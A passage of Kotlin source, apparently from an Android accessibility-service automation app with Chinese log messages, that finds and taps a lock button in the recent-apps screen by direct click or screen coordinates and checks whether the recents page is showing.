                                Log.i(TAG, "✅ 成功直接点击锁定按钮: $lockText")
                                performSegmentedDelay(500) // 等待点击响应
                                return true
                            }
                        }
                        
                        // ✅ 如果不可点击，使用坐标点击
                        Log.d(TAG, "🔧 锁定按钮不可点击，尝试坐标点击")
                        val rect = Rect()
                        node.getBoundsInScreen(rect)
                        
                        if (!rect.isEmpty) {
                            Log.d(TAG, "📍 锁定按钮矩形: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}")
                            val centerX = rect.centerX()
                            val centerY = rect.centerY()
                            Log.d(TAG, "🎯 锁定按钮点击坐标: ($centerX, $centerY)")
                            
                            val coordinateSuccess = simpleCoordinateClick(centerX, centerY)
                            if (coordinateSuccess) {
                                Log.i(TAG, "✅ 成功坐标点击锁定按钮: $lockText")
                                performSegmentedDelay(500) // 等待点击响应
                                return true
                            } else {
                                Log.w(TAG, "❌ 坐标点击锁定按钮失败")
                            }
                        } else {
                            Log.w(TAG, "❌ 锁定按钮矩形为空，无法坐标点击")
                        }
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到可点击的锁定按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找锁定按钮失败", e)
            false
        }
    }

    /**
     * ✅ 检查是否在多任务页面
     */
    private fun isInRecentsPage(): Boolean {
        return try {
            val root = getStableRootInActiveWindow(service)
            val packageName = root?.packageName?.toString() ?: ""
            
            // 检查是否是多任务相关的包名
            val isRecentsPackage = packageName.contains("systemui", true) || 
                                 packageName.contains("launcher", true) ||
                                 packageName.contains("vivo", true) && packageName.contains("launcher", true)
            
            Log.d(TAG, "🔍 当前包名: $packageName, 是否多任务页面: $isRecentsPackage")
            isRecentsPackage

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查多任务页面状态失败", e)
            false
        }
    }


}